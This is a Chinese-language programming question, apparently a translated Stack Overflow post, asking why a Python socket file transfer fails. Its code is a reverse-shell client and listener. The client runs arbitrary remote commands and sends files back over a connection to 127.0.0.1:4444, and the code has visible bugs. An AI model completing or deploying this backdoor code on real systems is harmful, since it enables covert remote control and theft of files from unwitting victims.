在Python 3.x上使用套接字进行文件传输时出错

时间:2018-09-22 00:05:45

标签: python-3.x

客户:

import socket
import subprocess
import json
from sys import exit
import os
import base64


class Client:

def __init__(self, ip, port):
    self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    self.connection.connect((ip, port))

def reliable_recieve(self):
    json_data = self.connection.recv(4098).decode()
    return json.loads(json_data)

def reliable_send(self, data):
    json_data = json.dumps(data)
    self.connection.send(json_data.encode())

def execute_sys_command(self, command):
    return subprocess.getoutput(command)

def change_working_dir(self, path):
    os.chdir(path)
    return "[+] Changing working directory to " + str(path)

def read_file(self, path):
    with open(path, "rb") as file:
        return base64.b64encode(file.read())

def run(self):
    while True:
        command = self.reliable_recieve()
        if command[0] == "exit":
            self.connection.close()
            exit()
        elif (command[0] == "cd") and (len(command) > 1):
            self.change_working_dir(command[1])
            self.reliable_send(command_result)
        elif command[0] == "download":
            command_result = self.read_file(command[1])
            self.connection.send(command_result)
        else:
            command_result = self.execute_sys_command(command)
            self.reliable_send(command_result)
    self.connection.close()

my_client = Client("127.0.0.1", 4444)
my_client.run()

服务器:

import socket
import json
from sys import exit
import base64


class Listener:

    def __init__(self, ip, port):
        self.result2 = ""
        listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listener.bind((ip, port))
        listener.listen(0)
        print("[+] Waiting for incoming connections")
        self.connection, address = listener.accept()
        print("[+] Connection received from " + str(address))

    def reliable_send(self, data):
        json_data = json.dumps(data)
        self.connection.send(json_data.encode())

    def reliable_recieve(self):
        json_data = self.connection.recv(4098)
        return json.loads(json_data.decode())

    def execute_remotely(self, command):
        self.reliable_send(command)
        if command[0] == "exit":
            self.connection.close()
            exit()
        return self.reliable_recieve()

    def write_file(self, path, content):
        with open(path, "wb") as file:
            file.write(base64.b64encode(content))
            return "[+] Download done"

    def run(self):
        while True:
            command = input(">> ")
            command = command.split(" ")
            result = self.execute_remotely(command)
            if command[0] == "download":
                result = self.write_file(command[1], result)
            print(result)

my_listener = Listener("127.0.0.1", 4444)
my_listener.run()

当我尝试将文件从客户端传递到服务器时,发生错误。这是通过服务器端的命令“下载”完成的。然后,客户端发送和接收命令。然后,客户端解码并执行该命令。 Im目前正在尝试使用base64读取文件,然后通过json发送该文件以避免丢失数据。但这是失败的。 也许这与结尾处的json编码有关,但我对此表示怀疑。

为什么会这样?

0 个答案:

没有答案